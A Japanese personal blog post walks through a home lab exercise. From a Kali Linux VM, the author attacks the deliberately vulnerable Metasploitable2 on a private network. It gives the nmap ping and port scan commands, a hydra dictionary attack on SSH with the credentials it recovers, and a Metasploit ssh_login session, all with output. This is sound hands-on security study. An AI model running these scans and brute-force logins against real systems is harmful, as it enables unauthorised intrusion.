立ち話

興味があることを書いてます。正確な内容は公式ドキュメントや参考文献を確認してください。ブログに示された意見はすべて個人の見解であり、所属する組織の公式見解ではありません。

Kali Linux で Metasploitable2 に攻撃して遊んだ

1. はじめに

仕事で脆弱性スキャンをすることになりそうなので、仮想環境で練習しようと考えた。幸い、以前の記事で構築した KVM 環境があるので、これを利用しようと思う。今回は、Metasploitable 2 に対してポートスキャンをして、攻撃するという流れを実施し、備忘録としてまとめようと思う。 [1-3] を参考にしている。

実際に攻撃するにあたって、以下のことに気を付ける。

  1. 攻撃を行う際は、自分と他人の環境に迷惑をかけないようにすること。
  2. 脆弱性のある環境を外部に公開しないこと。

2. 環境構築

ここでは、以前の記事の『Nessusを適用するための仮想環境の構築 - 立ち話』で構築した KVM 環境を活用したいと思う。

攻撃対象の環境

上図のように Kali Linux仮想マシンとしてインストールして、2つのネットワークに接続している。

3. 攻撃 (SSHによる侵入)

ここでは、攻撃の例として、SSHによる侵入を考える。以下の手順で攻撃を行う。

  1. 攻撃端末で攻撃対象が接続しているサブネットに対して ping スキャンを行う。
  2. 攻撃端末で攻撃対象のホストに対してポートスキャンを行う。
  3. 攻撃端末で辞書式攻撃で SSH アカウントを解析する
  4. 攻撃端末で Metersploit module を使って攻撃対象にログインする

なお、ここでは攻撃端末と攻撃対象は以下のように設定している。

  • 攻撃端末: Kali Linux
  • 攻撃対象: Metasploitable2

ここでは、ホストOSから Kali Linux に対して SSH 接続して、SSH 接続したターミナルから操作することにする。

3.1 Ping スキャン

Ping スキャンとポートスキャンは、Nmap というツールを使用する。ポートスキャンは、開いているポート番号 (稼働しているサービス) を特定するため、Ping スキャンはホストを発見するために行う。

nmap -sn [target specification]

今回は、[1], [2] を参考に以下のように実施した。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ nmap -sn 192.168.100.0/24 > ping_scan_isolated
                                                                                
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat ping_scan_isolated 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 13:38 JST
Nmap scan report for N14xZU (192.168.100.1)
Host is up (0.0018s latency).
Nmap scan report for 192.168.100.161
Host is up (0.0014s latency).
Nmap scan report for kali.virtual_network (192.168.100.181)
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.50 seconds

このスキャンの結果から、192.168.100.161 が攻撃対象の IP アドレスとわかる。

3.2 ポートスキャン

次に、192.168.100.161 の空いているポートを調べる。さらに、サービスのバージョンとOSの種類を特定する。

sudo nmap -sV -p- -O [IP address]
Nmapのオプション 概要
-p- 1番から65535番までのポート番号を対象にする
-sV ポートのサービスのバージョンを検出する
-O ターゲットのOSを特定する

今回は、以下のように実施した。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ sudo nmap -sV -p- -O 192.168.100.161 > port_scan_metasploitable

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat port_scan_metasploitable | grep ssh
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

スキャン結果を見ると複数のポートが空いていることが分かる。気になるのはいくつかあるが、今回は ssh でログインできないかを確かめてみる。

3.3 辞書式攻撃によるSSHアカウントの解析

パスワードクラッカーの hydra を使用して、辞書式攻撃によりSSHアカウントを解析する [1]。

以下の user.lstpass.lst を作成し、hydra を用いて解析した。

解析結果は以下のようになった。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ hydra -L user.lst -P pass.lst -t 4 192.168.100.161 ssh > hydra_ssh
                                                                                
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat hydra_ssh                          
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-11 14:00:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task
[DATA] attacking ssh://192.168.100.161:22/
[22][ssh] host: 192.168.100.161   login: sys   password: batman
[22][ssh] host: 192.168.100.161   login: msfadmin   password: msfadmin
[22][ssh] host: 192.168.100.161   login: user   password: user
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-11 14:01:24

ユーザ名とパスワードの組として、sys/batman, msfadmin/msfadmin, user/user が得られる。

3.4 SSH でのログイン

攻撃端末から攻撃対象に対して、SSHを使用してログインを行う [3]。

ユーザ名とパスワードの組のファイル (user_pass.txt) を作成し、Metersploit module で ssh_login ができるものを使用する。今回は、auxiliary/scanner/ssh/ssh_login を使用した。

msf6 > search ssh_login
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.100.161
RHOSTS => 192.168.100.161
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt
USERPASS_FILE => /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/ssh/ssh_login) > run
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i

実際に入ってみる。

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

SSH msfadmin:msfadmin (192.168.100.161:22)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 52:54:00:c2:34:d4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.161/24 brd 192.168.100.255 scope global eth0
    inet6 fe80::5054:ff:fec2:34d4/64 scope link 
       valid_lft forever preferred_lft forever
exit

[*] 192.168.100.161 - Command shell session 1 closed.  Reason: User exit

SSHでログインできて、msfadmin/msfadmin の権限でコマンドを実行できていることが分かる。

画面が小さくて少しわかりにくいが、攻撃端末で攻撃対象に対してSSHログインしているときは、攻撃対象側の22番ポートは ESTABLISHED になっていることが分かる。

4. まとめ

脆弱性のある仮想マシン (Metasploitable2) に対してポートスキャンをして、Metersploit module を使用して攻撃 (侵入) を行ってみた。

もっとできることは多いと思うので、これから本を読んだり検索したりして色々試してみたいと思う。

References

[1] IPUSIRON、ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習、翔泳社、2018

[2] 黒林檎、村島正浩、ハッカーの技術書、DATAHOUSE、2020

[3] Scanner SSH Auxiliary Modules - Metasploit Unleashed、閲覧日: 2022/6/11